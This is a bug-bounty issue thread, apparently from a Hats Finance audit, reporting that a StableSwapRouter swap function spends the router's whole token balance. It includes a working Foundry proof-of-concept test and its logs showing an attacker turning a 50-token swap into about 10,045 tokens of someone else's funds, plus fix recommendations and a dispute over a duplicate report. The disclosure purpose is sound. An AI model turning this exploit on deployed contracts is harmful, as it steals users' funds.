An attacker can steal funds from legit users in StableSwapRouter contract

[hats-bug-reporter[bot]]

Github username: @catellaTech Twitter username: catellatech Submission hash (on-chain): 0xd160e3e72ff8f3ff38dc2097cfdc40f2c21dc1d6e193ff3f0873775321056d49 Severity: high

Description:

Overview

After further analysis and consideration of the test results, we've identified a more fundamental issue in the exactInputStableSwap function of the StableSwapRouter contract. The problem is not related to the Constants.CONTRACT_BALANCE as initially thought, but rather to how the contract manages and attributes funds to individual callers.

Root Cause

The core of the vulnerability lies in the contract's failure to properly track and manage funds on a per-user basis. Instead, it incorrectly assumes that the entire balance of the contract belongs to the current caller of the exactInputStableSwap function.

Key problematic code:

if (srcToken == ROSE) {
    amountIn = address(this).balance;
} else {
    amountIn = IERC20(srcToken).balanceOf(address(this));
}

This code sets amountIn to the entire balance of the contract for the given token, regardless of how much the caller actually intended to swap or has rights to.

Vulnerability Details

Attack Scenario

1. An attacker sends a significant amount of tokens to the router contract directly, without calling any function.
2. A legitimate user calls exactInputStableSwap with a small amountIn.
3. The function uses the entire balance of the contract for the swap, which now includes the attacker's funds.
4. The legitimate user receives far more output tokens than they should, effectively draining liquidity from the pool.
5. The attacker can then perform another swap to recover their funds, plus a share of the illegitimately swapped tokens.

Test Results Analysis

Reviewing the test testStealFundsAttackOnSwap:

1. The "random user" sends 10,000 BUSD directly to the router. (this is to prove the issue with the swap)
2. The attacker initiates a swap of only 50 BUSD.
3. The swap processes all 10,050 BUSD in the contract.
4. The attacker receives USDC equivalent to 10,045 BUSD.

• PoC:

  function testStealFundsAttackOnSwap() public {
  uint256 swapAmount = 50; // Amount the attacker want to swap (to prove the issue with the swap)
  uint256 randomTransferToRouter = 10000; // we guess random user or for whatever reason the router have funds
  uint256 busdBalanceBefore = BUSD.balanceOf(attacker);
  uint256 usdcBalanceBefore = USDC.balanceOf(attacker);
  
  // lets send tokens to the router contract address before the swap occurs
  console.log("Random user send to the router: ", randomTransferToRouter);
  vm.startPrank(user);
  BUSD.transfer(address(stableSwapRouter), randomTransferToRouter);
  vm.stopPrank();
  console.log("Balance of the router before swap: ", BUSD.balanceOf(address(stableSwapRouter)));
  console.log("Attacker swap amount: ", swapAmount);
  
  // The attacker knows the router contract address doenst validate the swap amount correctly
  // So he swap 50 and gain all the contract balance in USDC tokens in exchange
  vm.startPrank(attacker);
  BUSD.approve(address(stableSwapRouter), swapAmount);
  
  address[] memory path = new address[](2);
  path[0] = address(BUSD);
  path[1] = address(USDC);
  
  uint256[] memory poolTypes = new uint256[](1);
  poolTypes[0] = 2;
  
  // We call the exactInputStableSwap function
  stableSwapRouter.exactInputStableSwap(path, poolTypes, swapAmount, 0, attacker);
  
  vm.stopPrank();
  
  // We verify the balances after the swap
  uint256 busdBalanceAfter = BUSD.balanceOf(attacker);
  uint256 usdcBalanceAfter = USDC.balanceOf(attacker);
  
  // We check that the exact swapAmount was exchanged and the attacker's additional amount was not used
  // the contract assume the 50 was correctly swapped but doesn't validate it the final amount that was exchanged
  assertEq(busdBalanceBefore - busdBalanceAfter, swapAmount, "Incorrect BUSD amount exchanged");
  
  // We verify that the USDC balance increased for the attacker
  assertTrue(usdcBalanceAfter > usdcBalanceBefore, "USDC balance did not increase");
  console.log("attacker USDC balance after the swap BUSD/USDC: ", usdcBalanceAfter - usdcBalanceBefore);
  
  // We check that the router balance is 0
  console.log("Router Balance after swap:", BUSD.balanceOf(address(stableSwapRouter)));
  assertEq(BUSD.balanceOf(address(stableSwapRouter)), 0, "The router should not hold any BUSD after the swap");
  }

• Key log output:

  [PASS] testStealFundsAttackOnSwap() (gas: 216792)
  Logs:
  Random user send to the router:  10000
  Balance of the router before swap:  10000
  Attacker swap amount:  50
  attacker USDC balance after the swap BUSD/USDC:  10045
  Router Balance after swap: 0

This confirms that the contract is using its entire balance for the swap, not just the amount the user specified.

Impact

1. Unauthorized Large Swaps: Users can perform swaps with funds they don't own, leading to unexpected large trades.
2. Liquidity Drain: This can cause significant imbalances in liquidity pools, potentially leading to large losses for liquidity providers.
3. Market Manipulation: Attackers could use this to manipulate token prices on connected DEXs.
4. Trust Breakdown: Users and integrators will lose trust in the contract, potentially leading to abandonment of the platform.

Recommendations

1. Implement Strict User Accounting: Keep track of user deposits and only allow users to swap their own funds.

2. Remove Direct Balance Usage: Eliminate any code that uses the contract's entire balance for operations. Always use specific amounts provided by or accounted for each user.

3. Comprehensive Testing: Develop and run extensive test suites that cover various scenarios, including potential attack vectors.

Notes

The vulnerability in the StableSwapRouter contract is more fundamental than initially assessed. It stems from a lack of proper fund management and accounting on a per-user basis. This issue allows users to swap more tokens than they should be able to, potentially leading to significant financial losses and market disruptions.

Implementing strict user-based accounting, removing direct contract balance usage, and adding proper deposit and withdrawal functions are crucial steps in addressing this vulnerability. After implementing these changes, a thorough security audit and extensive testing are essential to ensure the contract's integrity and security.

The PoC proves that the attack can be very profitable with a minimal amount of capital, and demonstrates that in scenarios where the function's logic is not properly accounted for, someone could take advantage.

[catellaTech]

The team says that the router doesn't receive funds, but it does consider the contract's funds in the swap logic. Additionally, my PoC basically shows that other possible scenarios are not taken into account in the logic. For example, my PoC demonstrates that the swap shouldn't send more tokens than the user has approved, and it also doesn't verify if the swapped amount matches the amount out.

[catellaTech]

If the team wants to test my proof, please contact me on Discord so I can provide the full setUp.

[catellaTech]

@Ghoulouis duplicate of what issue?

[Ghoulouis]

It's a duplicate of https://github.com/hats-finance/Thorn-protocol-0x1286ecdac50215a366458a14968fbca4bd95067d/issues/22

[catellaTech]

But if you read my report is a different, because, my PoC doesn't had the amount to swap exact as the fuction requiere to drain the protocol. Is much more less so the logic still bad to manage the exact amount that the person or user requires. Also de report 22 doesnt add PoC.